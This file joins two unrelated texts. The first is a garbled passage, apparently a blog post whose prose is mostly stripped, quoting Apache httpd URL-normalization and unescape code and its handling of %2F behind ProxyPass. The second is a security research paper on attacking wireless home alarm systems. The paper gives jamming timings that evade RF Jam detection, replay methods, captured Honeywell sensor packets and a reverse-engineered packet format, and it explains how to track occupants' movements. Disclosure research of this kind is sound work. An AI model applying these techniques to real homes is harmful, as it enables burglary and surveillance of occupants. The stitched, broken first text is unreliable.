apacheurl 0x00 apacheurlnormalizeurldecode 0x01 request.c204271 if (r->parsed_uri.path) { /* Normalize: remove /./ and shrink /../ segments, plus * decode unreserved chars (first time only to avoid * double decoding after ap_unescape_url() below). */ if (!ap_normalize_path(r->parsed_uri.path, normalize_flags | AP_NORMALIZE_DECODE_UNRESERVED)) { ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244) "invalid URI path (%s)", r->unparsed_uri); return HTTP_BAD_REQUEST; } } /* All file subrequests are a huge pain... they cannot bubble through the * next several steps. Only file subrequests are allowed an empty uri, * otherwise let (pre_)translate_name kill the request. */ if (!file_req) { ap_conf_vector_t *per_dir_config = r->per_dir_config; if ((access_status = walk_location_and_if(r))) { return access_status; } /* Let pre_translate_name hooks work with non-decoded URIs, and * eventually prevent further URI transformations (return DONE). */ access_status = ap_run_pre_translate_name(r); if (ap_is_HTTP_ERROR(access_status)) { return access_status; } /* Throw away pre_trans only merging */ r->per_dir_config = per_dir_config; } /* Ignore URL unescaping for translated URIs already */ if (access_status != DONE && r->parsed_uri.path) { core_dir_config *d = ap_get_core_module_config(r->per_dir_config); /* Unreserved chars were already decoded by ap_normalize_path() */ unsigned int unescape_flags = AP_UNESCAPE_URL_KEEP_UNRESERVED; if (!d->allow_encoded_slashes) { unescape_flags |= AP_UNESCAPE_URL_FORBID_SLASHES; } else if (!d->decode_encoded_slashes) { unescape_flags |= AP_UNESCAPE_URL_KEEP_SLASHES; } access_status = ap_unescape_url_ex(r->parsed_uri.path, unescape_flags); if (access_status) { if (access_status == HTTP_NOT_FOUND) { if (! d->allow_encoded_slashes) { ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00026) "found %%2f (encoded '/') in URI path (%s), " "returning 404", r->unparsed_uri); } } return access_status; } if (d->allow_encoded_slashes && d->decode_encoded_slashes) { /* Decoding slashes might have created new // or /./ or /../ * segments (e.g. "/.%2F/"), so re-normalize. */ ap_normalize_path(r->parsed_uri.path, normalize_flags); } } ap_normalize_path ap_unescape_url_ex ap_normalize_path -> ap_unescape_url_ex url 0x02 ap_normalize_path normalizeurl/../////normalize AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags) { int ret = 1; apr_size_t l = 1, w = 1, n; int decode_unreserved = (flags & AP_NORMALIZE_DECODE_UNRESERVED) != 0; if (!IS_SLASH(path[0])) { /* Besides "OPTIONS *", a request-target should start with '/' * per RFC 7230 section 5.3, so anything else is invalid. */ if (path[0] == '*' && path[1] == '\0') { return 1; } /* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass * this restriction (e.g. for subrequest file lookups). */ if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') { return 0; } l = w = 0; } while (path[l] != '\0') { /* RFC-3986 section 2.3: * For consistency, percent-encoded octets in the ranges of * ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D), * period (%2E), underscore (%5F), or tilde (%7E) should [...] * be decoded to their corresponding unreserved characters by * URI normalizers. */ if (decode_unreserved && path[l] == '%') { if (apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) { const char c = x2c(&path[l + 1]); if (TEST_CHAR(c, T_URI_UNRESERVED)) { /* Replace last char and fall through as the current * read position */ l += 2; path[l] = c; } } else { /* Invalid encoding */ ret = 0; } } if (w == 0 || IS_SLASH(path[w - 1])) { /* Collapse ///// sequences to / */ if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) { do { l++; } while (IS_SLASH(path[l])); continue; } if (path[l] == '.') { /* Remove /./ segments */ if (IS_SLASH_OR_NUL(path[l + 1])) { l++; if (path[l]) { l++; } continue; } /* Remove /xx/../ segments (or /xx/.%2e/ when * AP_NORMALIZE_DECODE_UNRESERVED is set since we * decoded only the first dot above). */ n = l + 1; if ((path[n] == '.' || (decode_unreserved && path[n] == '%' && path[++n] == '2' && (path[++n] == 'e' || path[n] == 'E'))) && IS_SLASH_OR_NUL(path[n + 1])) { /* Wind w back to remove the previous segment */ if (w > 1) { do { w--; } while (w && !IS_SLASH(path[w - 1])); } else { /* Already at root, ignore and return a failure * if asked to. */ if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) { ret = 0; } } /* Move l forward to the next segment */ l = n + 1; if (path[l]) { l++; } continue; } } } path[w++] = path[l++]; } path[w] = '\0'; return ret; } 1. url'/'option * http/1.1400 2. url400 3. '//////''/' 4. '/./''/../''/.%2e/'web400 apacheurlnormalize 0x03 ap_unescape_url_ex urlunescape_url static int unescape_url(char *url, const char *forbid, const char *reserved, unsigned int flags) { const int keep_slashes = (flags & AP_UNESCAPE_URL_KEEP_SLASHES) != 0, forbid_slashes = (flags & AP_UNESCAPE_URL_FORBID_SLASHES) != 0, keep_unreserved = (flags & AP_UNESCAPE_URL_KEEP_UNRESERVED) != 0; int badesc, badpath; char *x, *y; badesc = 0; badpath = 0; /* Initial scan for first '%'. Don't bother writing values before * seeing a '%' */ y = strchr(url, '%'); if (y == NULL) { return OK; } for (x = y; *y; ++x, ++y) { if (*y != '%') { *x = *y; } else { if (!apr_isxdigit(*(y + 1)) || !apr_isxdigit(*(y + 2))) { badesc = 1; *x = '%'; } else { char decoded; decoded = x2c(y + 1); if ((decoded == '\0') || (forbid_slashes && IS_SLASH(decoded)) || (forbid && ap_strchr_c(forbid, decoded))) { badpath = 1; *x = decoded; y += 2; } else if ((keep_unreserved && TEST_CHAR(decoded, T_URI_UNRESERVED)) || (keep_slashes && IS_SLASH(decoded)) || (reserved && ap_strchr_c(reserved, decoded))) { *x++ = *y++; *x++ = *y++; *x = *y; } else { *x = decoded; y += 2; } } } } *x = '\0'; if (badesc) { return HTTP_BAD_REQUEST; } else if (badpath) { return HTTP_NOT_FOUND; } else { return OK; } } 1. url'%'ok 2. '%'+hex+hex400 3. '%2f''/'404 4. '%00''\0'404 5. forbidforbid404 url'%00''%2f'404​ 0x04 url ProxyPass /test/ http://127.0.0.1:8000/ url /test/1 http://127.0.0.1:8000/1 url /test/aab%2Fbbb http://127.0.0.1:8000/aab/bbb 404 /aab/bbb '%2f'2.4.51url forbid static int unescape_url(char *url, const char *forbid, const char *reserved,unsigned int flags) unescape_urlforbid unescape_url ap_unescape_urlforbid ap_unescape_urlencoded '%2f'urlbanforbid 0x05 url
pdf
Home Insecurity: No Alarms, False Alarms, and SIGINT Logan Lamb [email protected] ABSTRACT The market share of home security systems has substan- tially increased as vendors incorporate more desirable fea- tures: intrusion detection, automation, wireless, and LCD touch panel controls. Wireless connectivity allows vendors to manufacture cheaper, more featureful products that re- quire little to no home modification to install. Consumer win, since adding devices is easier. The result: an osten- sibly more secure, convenient, and connected home for a larger number of citizens. Sadly, this hypothesis is flawed; the idea of covering a home with more security sensors does not translate into a more secure home. Additionally, the number of homes using these vulnerable systems is large, and the growth rate is increasing producing a even larger problem. In this paper, we will demonstrate a generalized approach for compromising three systems: ADT, the largest home security dealer in North America; Honeywell, one of the largest manufacturers of security devices; and Vivint, a top 5 security dealer. We will suppress alarms, create false alarms, and collect artifacts that facilitate tracking the movements of individuals in their homes. 1. INTRODUCTION Home security systems have advanced tremendously in the past 25 years. They have evolved from simple systems com- posed of wired sensors, keypads, and control panels to a central hub for all home security and automation needs. Newer home security systems have incorporated most every advancement in consumer electronics to make more feature- ful systems including touchscreens, two-way communication, wireless sensors, and wireless home automation. Some can even be controlled from a smartphone.. This rapid incorpo- ration of new technology to create innovative features not only increases the attack surface of the system, but also reduces the resources expended on the upkeep of legacy fea- tures. Because of this trade-o↵, allocating more resources for expansion of features instead of maintenance, we arrive at the current situation where cutting edge security systems are still using wireless protocols created 20 years ago. In this paper, we will demonstrate how this is a major security risk that has no clear remediation path. We will explore the motivations of the adversary. We will develop a model for the adversary and the home security systems. Using the developed models, a methodology will be developed for evaluating the efficacy of the adversary’s attacks. Then, we will cover the attack primitives that are available to the ad- versary and their use cases. We will then move on to the application of the attack primitives: we will suppress alarms, create false alarms, and collect artifacts that facilitate track- ing the movements of individuals in their homes. We then apply these attack primitives to three di↵erent security sys- tems. We conclude our analysis by observing and explaining the efficacy of these attack primitives. 2. MOTIVATION Consumers purchase home security systems to be safe in their residences. These systems ostensibly protect both the valuables of the occupants and the occupants themselves. Adversaries have repeatedly demonstrated the ease of cut- ting the phone lines which alert the monitoring companies. This is a well known attack, demonstrated in approximately 25% of invasions [Chianis 2014]. Because of this and the ease of installation, many consumers are advised to pur- chase wireless security systems. It has been demonstrated the cellular link back to the monitoring company can be compromised [Porter and Smith 2013], and that some wire- less home automation systems can be compromised as well [Fouladi and Ghanoun 2013]. Subverting magnetic and PIR sensors so they never communicate an alarm has also been demonstrated [Porter and Smith 2013]. All of these attacks attempt to accomplish similar goals. As the adversary, we would like to subvert these systems so that they provide a false sense of security, and ideally become a liability to the occupants. To completely subvert the se- curity systems, the adversary needs the ability to covertly infiltrate and exfiltrate the premises. To make the systems a liability, the adversary wants to monitor the behavior of the occupants and use the system to induce behavior in both the occupants and monitoring companies. Our adversary also wants a cheap, easy, and generalizable attack. The ad- versary believes he can accomplish these goals by attacking the intra-home wireless communications. 3. MODELS 3.1 Adversary Model Intra-home wireless communications for home security sys- tems have been in use for over 20 years. The adversary ex- pects these communications to be vulnerable and fairly easy to compromise across multiple manufacturers. In addition, technology is trending towards wireless communications, so the adversary expects the attacks to be high yield. Given the attacks are a success, the attacks should be easy to com- modify since software defined radios are becoming cheaper and more ubiquitous. Now that the adversary has decided on a wireless approach, what is required to accomplish the goals? The adversary requires three attack primitives. The first is jamming of transmissions, which will suppress alarms and allow covert infiltration and exfiltration. The second is SIG- INT, which will be used to intercept transmissions and mon- itor occupants. The third is replay, which will trigger false alarms and be used to induce behavior. The adversary will have some stringent constraints placed on him in hopes of providing the cheapest, easiest, and most generalizable solution. The first constrains knowledge ac- quisition techniques. There will be no dumping of ROMs or firmware, there will only be black-box testing. The second constrains possible attacks. There will be no fuzz testing or crafting of malicious transmissions. The adversary will be restricted to the three available attack primitives. 3.2 Security System Model We model intra-home security system communication as a directed graph with two edge labels (communication types) and four vertex labels (device types). The two communica- tion types are: 1. vulnerable 2. secure The 4 device types are: 1. sensors (e.g. door sensor, glass break, motion detector) 2. alerting devices (e.g. keypad for occupants, control panel for monitoring companies) 3. bridges 4. other Sensors are devices that trigger an event when some cri- teria is met. They generally support one-way communica- tion and simply broadcast their event using their supported communication type. Some more advanced sensors contain some state, and will broadcast a periodic heartbeat and alert when their battery is low. Alerting devices report the system state, the aggregate of all events received by the device, to an authority, i.e., the occupants of the protected area or the monitoring company. The third device type, bridge, is any device that simply passes transmissions along. Bridges act to extend range and translate transmissions from one com- munication type to another. Our fourth device type, other, is to cover all other devices that do not fit the other types. Given the adversary model, we treat wired communication and non-legacy wireless communication as secure. We model home security systems as directed graphs (di- graphs) since the transmissions from sensors happen regard- less of whether or not the alarm devices are in an armed or disarmed state. Also, alarm devices generally only sig- nal an event if they are armed and receive a transmission from one of the sensors. So, communications are modeled as originating at the sources (sensors) flowing through the graph (through bridges and alarm devices) to sinks (alarm devices). As can be seen in Figure 1, the digraph for the exemplar Honeywell system is composed of 5 sensors (blue nodes), 2 alarm devices (red nodes), 5 vulnerable communications channels (solid edges) and 2 secure communication channels (dashed edges). The black box encompassing the blue and red nodes signifies the barrier of the protected area. So, all communications occur within the protected area except for the single communication channel connected to the moni- toring company (cowboy badge). Since all events pass through the keypad, the center red node, all the adversary needs to do is compromise the sen- sor communication channels and the keypad will never re- ceive any events to alert the occupants or the monitoring company. Figure 1: Honeywell System Digraph 3.3 Methodology Given our objectives, system model, and primitives, the fol- lowing is our general approach to analyzing new security systems: 1. Identify all devices and their supported communication types. 2. Generate a directed graph from sources (sensors) to sinks (alerting devices). 3. If any wireless communication channels exist, attempt our SIGINT primitive. 4. If a path exists from a source to a sink that involves a vulnerable communication channel, attempt jamming and replay primitives. 5. Evaluate the attained level of control and situational awareness of the system. Before applying our methodology to two additional systems, we will show implementations of the three attack primitives when applied to the Honeywell system. 4. ATTACK PRIMITIVE IMPLEMENTATION In this section we will detail the hardware and software required for implementation, the implementation of these primitives, and some of the capabilities that they provide. The implementations will be targeting a Honeywell system. The Honeywell system is comprised of two 5815MN door sensors, 3 5800 PIR-RES motion detectors, a 6160RF key- pad, and a Vista 20P control panel. This system was pur- chased approximately two years ago. 4.1 Required Hardware and Software There are four prerequisites: 1. A software defined radio that is capable of transmitting and receiving on the frequencies used by the home security devices. We use a USRP N210 software defined radio with a WBX daughterboard. 2. A tuned antenna. We use several cut-to-length wire an- tennas. 3. Software to program the software defined radio. We use GNU Radio. GNU Radio is open-source, free, and supports the vast majority of SDRs on the market. It comes with a graphical tool, GNU Radio Companion (GRC), which is invaluable for general use and rapid prototyping. GRC is similar to Simulink and LabView with its flow-based pro- gramming. The output of GRC is a Python program. So, it is standard workflow to prototype in GRC and let it create the Python boilerplate. 4. A test system. We use the previously mentioned Honey- well system. 4.2 Tuning In The first step is to figure out where in the frequency spec- trum communications are taking place. This can be done using a dedicated spectrum analyzer, an SDR as a spectrum analyzer, or by simply consulting the FCC [FCC 2014]. We searched the FCCID of the 5815MN door sensor (FCCID: CFS8DL5815) and found the information in Figure 2. We will be referencing figure 2 throughout the paper. For tuning in, the Functional Description provides us with the needed center frequency: 345MHz. 4.3 Jamming 4.3.1 Spot Jamming Implementation with GRC This flow chart is simple. Our source is a random number generator with an output type of integer. Our sink is the USRP N210 with center frequency set to 345MHz and gain set arbitrarily high. We cannot wire these two blocks to- gether because they are of di↵erent types. So we add our Functional Description The 5815MN is a battery powered, portable transmitter that is part of a wireless alarm system. It is used in conjunction with a receiver (5881) to indicate an alarm when activated. RF transmissions are initiated by a change in state of the loop and/or tamper inputs. In addition, the 5815MN sends a regular supervision or check-in RF message, no more often than once per hour. The RF messages are transmitted at a frequency of 345MHz +/- 82KHz using an off-keyed AM modulation method. 5815MN Duty Cycle Calculation Message protocol, timing and duty cycle calculation. The data output is phase encoded Manchester that has inherent 50% duty cycle and consists of 64 bits per word. A supervision transmission is six identical words separated by (start to start) by nominal 125mS (100mS min. to 150mS max). Each message has a nominal data rate of 3.7 kb/s (3.2 kb/s min. to 4.2kb/s max). Therefore the duty cycle is calculated as follows: The word format consists of 64 bits, The duration of each bit is 312.5 uSec max. The duty cycle over a 100 mSec measuring period is calculated as follows: Duty cycle = Actual RF transmission ON time / 100 mSec Actual transmission ON time = 64 bits X 50% X 312.5 uSec = 10 mSec Therefore duty cycle = 10 / 100 mSec = 0.10 = 10%, peak to average field strength is 20 dB. Total on-air time for a supervision transmission is: 64 X 312.5 uSec + (5 X 150 mSec) = 0.77 seconds. In the case of an alarm transmission, the group of six transmissions is repeated twice, with the second group delayed from the first by a max. time of 2 seconds. The worst case on-air time is 2 X (super- vision time) + 2 = 3.54 seconds. Summary:- Duty cycle = 10% On-air time = 3.54 seconds. Figure 2: Excerpt from FCC filings Figure 3: Honeywell Jamming Flow-Chart third block, a type conversion from int to float, and create a valid flow chart that can generate noise on 345MHz. We found the spot jammer flow chart to be surprisingly ef- fective on the Honeywell system. With this capability, an adversary can covertly infiltrate and exfiltrate from a pro- tected area without the system alerting the occupants or the monitoring company. But there is a caveat. Manufac- turers of home security equipment are aware of this attack, and have incorporated ’RF Jam’ detection into most of their alarm devices. 4.3.2 Jamming with RF Jam Enabled After enabling RF Jam on the Honeywell system the pre- vious flow chart no longer worked. If left running for too long, the system would notify the occupants and monitoring company of the RF Jam event. Interestingly, the system did not notify the occupants until the flow chart had been run- ning for about a minute, so we devised some tests to see how the RF Jam detection is implemented. Our first hypothesis is that it simply checked if the noise floor was elevated for a particular period of time. The second hypothesis is that after the system received a number of malformed packets it would trigger the RF Jam event. We tested the elevated noise floor hypothesis by running the spot jammer flow chart for 20 seconds, turning the jammer o↵ for a second, and turning it back on. The code to do this was a simple modification to the generated Python program of the spot jammer. We found we could lower the o↵ time to a quarter of a second and still avoid RF Jam detection. We tested the arbitrary number of malformed packets hy- pothesis by creating a flow chart which broadcasts a simple square wave at the baud rate of transmission with duty cycle under 25%. The pulse jamming flow chart can be seen in Figure 4. The flow chart’s purpose is not to jam the trans- missions from sensors, but to mangle them. After testing, this approach was e↵ective at jamming. We found two approaches to jam transmissions without trig- gering RF Jam events. Given a choice, systems with RF Jam detection enabled are actually more desirable targets than without. An adversary can both suppress alarms for covert infiltration and exfiltration with active jamming and trigger alarms with the spot jamming. 4.4 SIGINT There are multiple tiers of SIGINT. The first, and simplest, is the capture of RF transmissions. If the adversary can dis- cern through observation what event the RF transmission is Figure 4: Honeywell Pulse Jamming Flow-Chart Figure 5: Converting RF to bitstream triggering, then they can replay the transmission and trig- ger the witnessed event. The second, less simple approach is to capture the RF transmissions and demodulate them to recover transmission packets. The adversary may not know exactly what the packets are communicating, but if the transmitted packets have no dynamic components, i.e., sensors always send the same couple of packets, then the adversary may be able to discern the meaning without fully reverse engineering the protocol. The last approach is full reverse engineering of the captured packets, which requires the most e↵ort and has the highest payo↵. We will now cover these three approaches to SIGINT. 4.4.1 RF Transmission Capture with GRC The simplest of flow charts, we connect our USRP source with center frequency set to 345MHz to a file sink. In doing so, we store whatever is captured by the USRP while the flow chart is running. We will use the generated file at a later time for replay. The flow chart can be seen in Figure 4. 4.4.2 Bitstream Capture with GRC From Figure 2, the following pertinent information is avail- able to us: • Center Frequency: 345MHz • Modulation: o↵-keyed AM modulation (OOK) • Baud Rate: 3200 • Line Coding: Manchester Figure 6: A Honeywell transmission converted to a binary signal The purpose of the flowchart in figure 5 is to convert an OOK modulated signal to a bitstream. It is composed of a low pass filter, complex to magnitude squared, and thresholding blocks. The primary purpose of the low pass filter is to decimate the signal from the sampling rate of the SDR to something more manageable. We selected a decimation rate of 75 so that the output sampling rate of this flow graph will be ten times the baud rate of 3.2K. This relatively high sampling rate will allow us to easily detect long and short pulses. The complex to magnitude squared is used to convert the complex signal into something closer to a square wave. Finally, the thresholding block is used to convert the signal into a binary signal. The file sink dumps the binary signal. The generated bitstream file is not just a step towards re- verse engineering the protocol; it increases the e↵ectiveness of replay attacks. By creating a bitstream, we have removed all the noise from the RF signal. So, when we replay we can increase the gain and not worry about distorting the binary signal. A sample output packet can be seen in Figure 6. 4.4.3 Bitstream to Packets with GNU Radio and Python Now that we have a reliable bitstream, we can use additional pertinent information from Figure 2: • Word Length: 64 bits From Figure 6, it appears the signal has a preamble for synchronization. So, we’ll leverage that to figure out the average number of samples per bit. Once we have an average number for samples per bit, we read from the stream until we have 64 and then proceed to manchester decode them. This is a pure programming exercise. Of interest though, it is very easy to fill the bu↵er of the SDR resulting in dropped samples. The implementation has a concurrent solution to consume samples quickly. One thread is constantly doing block reads from the SDR output file and removing dead air (all zeros). If there is an instance of live transmission it adds those samples to a deque which the program reads from. We now have a reliable packet stream. For each door sensor in our the Honeywell system, we trigger door open, door closed, and door tamper events. We also set o↵ the motion detectors. The packets captured from each device were static for each event type. So, a door open event will be the same every time it triggers for a particular sensor. The captured packets are in Figure 7. # door sensor, serial: A 031-6418 0xfffe84d40280512c 0xfffe84d402a0d1ef 0xfffe84d402e0506c # door sensor, serial: A 102-6691 0xfffe8faa83804d3d 0xfffe8faa83a0cdfe 0xfffe8faa83e04c7d # motion sensor, serial: unknown 0xfffe8cf96c00944e 0xfffe8cf96c021441 0xfffe8cf96c80174d # motion sensor, serial: A 070-4201 0xfffe8abec9003728 0xfffe8abec902b727 0xfffe8abec980b42b # motion sensor, serial: A 085-0206 0xfffe8cf91e00384b 0xfffe8cf91e80bb48 Figure 7: Honeywell Sensor Packets 4.4.4 Reverse Engineering the Protocol Now that we have packetized the bitstream we can focus on reverse engineering of the protocol. Again, from the Duty Cycle Calculation documentation in Figure 2, it appears for each type of broadcasted message there is only one word which is repeated multiple times. We now induce the behaviors detailed above (door open, door closed, tamper) in the two door sensors and get the results in Figure 7. Now we focus our e↵orts on identifying static and dynamic parts of the packets. Within each door’s packets the first 5 bytes are static, and for all devices the first 5 nibbles are static. Immediately we recognize what looks like a pream- ble and sync bit, 0xfffe. For each door sensor, there is a static part of the message that is unique to the door sensor, 0x84d402 and 0x8faa83. Ignoring the leading 0x8, 0x4d402 and 0xfaa83 are the serial numbers of the door sensors in hex. All wireless Honeywell sensors start with an A so that part of the serial is implied. By identifying the serials in the packets, we now have the capability of uniquely identifying sensors. The last 3 bytes of these packets are the only ones which are dynamic. The first byte of these three appears to be the packet type (0x80, 0xa0, 0xe0). That leaves only the last two bytes to be reversed. The last two bytes are most likely for integrity checks, so we run RevEng over our packets to see if the last two bytes are the product of a known CRC. Sure enough, they are CRC BUYPASS. The completely reverse engineered protocol for these door 0x0fffe Preamble and sync bit 0x8 Unknown 0xXXXXX Device serial number 0x{80,a0,e0} Packet type 0xXXXX CRC16-BUYPASS Figure 8: Honeywell Packet Format sensors is in Figure 8. The correctness of the protocol is confirmed by applying it to the motion detectors. 4.5 Situational Awareness using SIGINT We now have a solution to convert the RF transmissions from sensors into meaningful messages. The sensors trans- mit events regardless of the system’s armed state. This is what allows us to accumulate information on occupants. The utility of the captured transmissions is directly pro- portional to the number collected. So, a single captured transmission in isolation does not provide much intelligence. However, a single transmission in the context of all captured transmissions can provide quite a bit of insight, allowing us to draw conclusions on habitual and anomalous behavior. 4.5.1 Differentiating sensors types Doors and motion detectors share a common packet type, namely 0x80. Thankfully we have some other features that help us di↵erentiate the sensor type. Doors sensors transmit on both opening and closing of doors, so if we see pairs of transmission type 0xa0 and 0x80 then we have a door open and close, respectively. If we encounter a 0x80 followed by 0x00 then it is a motion detector. In addition, some motion detectors will only transmit an event once every three min- utes to conserve power whereas doors transmit every event. 4.5.2 Home Layout The way in which sensors are placed in a home, fortunately, is sensible. Most homes will have less than a dozen sensors, and we can be assured their placement will be prioritized by the most high value and highly trafficked areas of the home. So, while we may not know where a motion detector is located in a home, if it is the only one in a home it will lie in a path that must be traversed to access the bedroom. The bedroom is the most high value room in a home. If we find multiple motion detectors belonging to a home, then we can look at the times the sensors are set o↵ and figure out which one is most likely the motion detector protecting the bedroom (most likely the last one to transmit prior to a sleep cycle), and which one is the living room/dining room sensor (will transmit throughout the day most likely). The same reasoning applies to the door sensors. Occupants tend to add door sensors to all doors in a home that allow access to the interior (including the garage). So, If we find a door sensor that typically transmits around the time a resident goes to work that’ll be the door sensor closest to the garage. 4.5.3 Multiple Residents We can draw meaningful conclusions from the aggregate in- formation of a system, e.g., when is the residence occupied Figure 9: Honeywell Replay Flow-Chart and unoccupied. We can also tell when aggregate behav- ior deviates, e.g., emergency situation, birthday party with many attendees. We require additional intelligence on the occupants to di↵erentiate between them. This area requires future work. 4.6 Replay A replay attack involves conducting some level of SIGINT to acquire a transmission. Once a transmission is acquired, the adversary plays back the transmission to accomplish the original transmission’s intent. 4.6.1 Replay Implementation with GRC The source for our replay flow chart is one of the output files from the SIGINT step. The contents of the file could be the raw transmissions, bitstream, packet, or completely reverse engineered capture. The important part is whatever our source file is, we must do the inverse of the capture function to output on the USRP sink. We will focus on replay of a raw transmission capture. The flow chart is the inverse of the SIGINT raw RF transmission capture, and can be seen in Figure 9. So, this flow chart uses the captured file as the source and the USRP as the sink. Replay is an e↵ective attack on the Honeywell system. With this capability, an adversary can create false alarms for the monitoring company whenever the system is armed. Due to the ease of this attack, an adversary can cause false alarms at multiple protected areas to cause the monitoring company to misallocated resources. When targeting the occupants, the adversary does not have to rely on an armed system. The adversary can induce behavior by triggering particular sensors, e.g., basement door, hallway to bedroom, hallway to child’s bedroom, to either attract or repel occupants to that area. This level of behavior influence requires a great deal of information on the occupants and the protected area. 5. APPLYING THE METHODOLOGY Now that we have covered the models, attack primitive im- plementations, and methodology, we apply our methodology to two additional systems. The first system is detailed in sec- tion 4. In summary, the adversary has complete control of the Honeywell system and full monitoring capability. 5.1 ADT System The ADT system is comprised of 4 door sensors, 3 glass break sensors, 1 motion detector, and a keypad control panel, all of which are manufactured by DSC. The primary di↵er- ences between this system and the Honeywell system is the more advanced panel. The panel in this installation acts as both the keypad and control panel, reducing required hard- ware. It also alerts the monitoring company over GSM, so this system is completely wireless. It was installed less than a year ago by ADT. Like the Honeywell system, all sensor communications can potentially be jammed and intercepted. See Figure 10. Figure 10: ADT System The only change made to the jamming implementation in section 4 was to change the center frequency to 433.92MHz. We found the spot jammer to be very e↵ective, giving the ad- versary covert infiltration and exfiltration capabilities. We attempted to enable RF Jam on the panel, but were unable to acquire the required installer code per ADT’s policy. The adversary has covert infiltration and exfiltration capabilities with this system. The changes to the SIGINT flow charts include changing the center frequency to 433.92MHz and removing the Manch- ester decoding. All SIGINT primitives were implemented, however the final reverse engineering e↵ort was not taken. This was due to time constraints, and because the entire protocol format could be found in the FCC documentation for FCCID F5300NB912 [FCC 2014]. An excerpt can be seen in Figure 11. With minimal e↵ort the adversary would have full monitoring capability. The only change made to the replay implementation in sec- tion 4 was to change the center frequency to 433.92MHz. Replay attacks are e↵ective, giving the adversary the capa- bility to cause false alarms and induce behavior. 5.2 2GIG System This is by far the most interesting system. It is composed of 4 wired door sensors, 1 wired motion detector, 1 12V control panel, 1 wireless 2GIG door sensor, 1 Go!Control Panel, and 1 2GIG takeover module. The system appears to be a new wireless system retrofitted onto an older-style wired system. Both the wired and wireless components were installed in a Figure 11: ADT Packet Format new house which was completed in 2014. 2GIG equipment, including the Go!Control panel in this system, is used by Vivint. As can be seen in Figure 12, this system’s topology is quite di↵erent from the two previous systems. This is the only system covered that has sensors wired directly to an alarm device that is capable of alerting the monitoring company. Unfortunately, the alarm device is not acting in that capac- ity. In fact, its sole purpose is to aggregate all of the wires and present them to the takeover module, which converts the wired transmissions into vulnerable, wireless transmis- sions. Because of this translation, the system is equivalent to the other two systems, but with fewer points of failure since the wireless transmissions of five sensors are radiating from one takeover module. Figure 12: 2GIG System No changes were made to the jamming implementations in section 4. We found the spot jammer to be very e↵ective, giving the adversary covert infiltration and exfiltration ca- pabilities. We enabled RF Jam on the panel and found the periodic jamming worked e↵ectively with an on time of 50 seconds and o↵ time of 0.20 seconds. So, the adversary has the capability to covertly infiltrate and exfiltrate. No changes were made to the SIGINT implementations. While the modulation, line coding, and packet sizes were all the same as the Honeywell equipment, the contents of the packets diverged slightly. Despite the slight changes, we are still able to uniquely identify each device and the event types, giving the adversary full monitoring capabilities. No changes were made to the replay implementation in sec- tion 4, giving the adversary the capability to cause false alarms and induce behavior. 6. OBSERVATIONS The attack primitives are e↵ective against all three systems despite di↵erent graph topology, hardware, and communica- tion protocols. We present several likely explanations. 6.1 Simple Protocols In each of these systems, the alarm devices implicitly trust the sensor communications and have no way of querying the device from which the transmission originated. The proto- cols seen in these security systems are very similar to legacy 15.231(a) Continuous transmissions such as voice, video or data transmissions are not permitted. 15.231(a)(1) A manually operated transmitter shall employ a switch that will automatically deactivate the transmitter within not more than 5 seconds after being released. 15.231(a)(2) A transmitter activated automati- cally shall cease transmission within 5 seconds of activation. 15.231(a)(3) Periodic transmissions at regular pre-determined intervals are not permitted. How- ever polling or supervisory transmissions to de- termine system integrity of transmitters used in security or safety applications are allowed if the periodic rate of transmission does not exceed one transmission of not more than one second duration per hour for each transmitter. 15.231(a)(4) Intentional radiators which are em- ployed for radio control purposes during emergen- cies involving fire, security, and safety of life, when activated to signal an alarm, may operate during the pendency of the alarm. Figure 13: CFR 47 Part 15 Requirements protocols, like Modbus, which lack authorization for com- mands and security against interception. It is also interesting that each system had the same packet sequences to signify supervision messages (a sequence of re- peated packets), and alert messages (two supervision mes- sages separated by dead air). This was most likely done to reduce the time and monetary cost of implementing the protocols. 6.2 Legacy Technology From the FCC documentation, Honeywell has been using the same Manchester encoded OOK scheme since at least 1998. Digital Security Controls, the manufacturer for the ADT system, has been using the same protocol since at least 2000. 2GIG, the manufacturer of the Go!Control panel which is used by Vivint, curiously adopted a communication stack very similar to Honeywell’s. Like Modbus use in industrial control systems and ATMs running Windows XP, once a component is used long enough in a process it is very difficult to remove. 6.3 FCC Regulations All of the sensors covered in this paper communicate us- ing unlicensed transmissions which fall under the purview of FCC CFR 47 Part 15 [ECFR 2014]. FCC Part 15 compli- ance is required for all electronics sold in the USA, and as- sures electronics do not cause electromagnetic interference. The wireless sensors are Part 15 compliant, but also meet more stringent requirements since they are intentional radi- ators, i.e., they communicate wirelessly. A sampling of these requirements can be seen in Figure 13. Due to the FCC restrictions, the manufacturers of these de- vices are limited in their radiated power, transmission time, and frequency of periodic heartbeats. These regulations re- strict the possible features of devices, including security. 7. CONCLUSION In this paper, we identified the primary motivations of ad- versaries and likely ways in which their goals of undermining home security systems can be met. We modeled the adver- sary, home security systems, and created a general method- ology for evaluating the susceptibility of systems to the ad- versary’s attack primitives. Based on these models, we implemented the adversary’s at- tack primitives and applied them to three di↵erent security systems. For each of these systems, the adversary has the capability to covertly infiltrate and exfiltrate, induce behav- ior in the occupants and monitoring companies, and monitor the activities of the occupants. 8. REFERENCES [Chianis 2014] Alexia Chianis. 2014. 8 Surprising Home Burglary Statistics. (May 2014). "http://www.safewise.com/blog/ 8-surprising-home-burglary-statistics/" [ECFR 2014] ECFR. 2014. FCC CFR 47 Part 15. (June 2014). http://www.ecfr.gov/cgi-bin/text-idx? tpl=/ecfrbrowse/Title47/47cfr15_main_02.tpl [FCC 2014] FCC. 2014. FCC ID Search Form. (June 2014). http://transition.fcc.gov/oet/ea/fccid/ [Fouladi and Ghanoun 2013] Behrang Fouladi and Sahand Ghanoun. 2013. HONEY, I’M HOME!! - HACKING Z-WAVE HOME AUTOMATION SYSTEMS. In Black Hat. [Porter and Smith 2013] Drew Porter and Stephen Smith. 2013. LET’S GET PHYSICAL: BREAKING HOME SECURITY SYSTEMS AND BYPASSING BUILDINGS CONTROLS. In Black Hat.
pdf
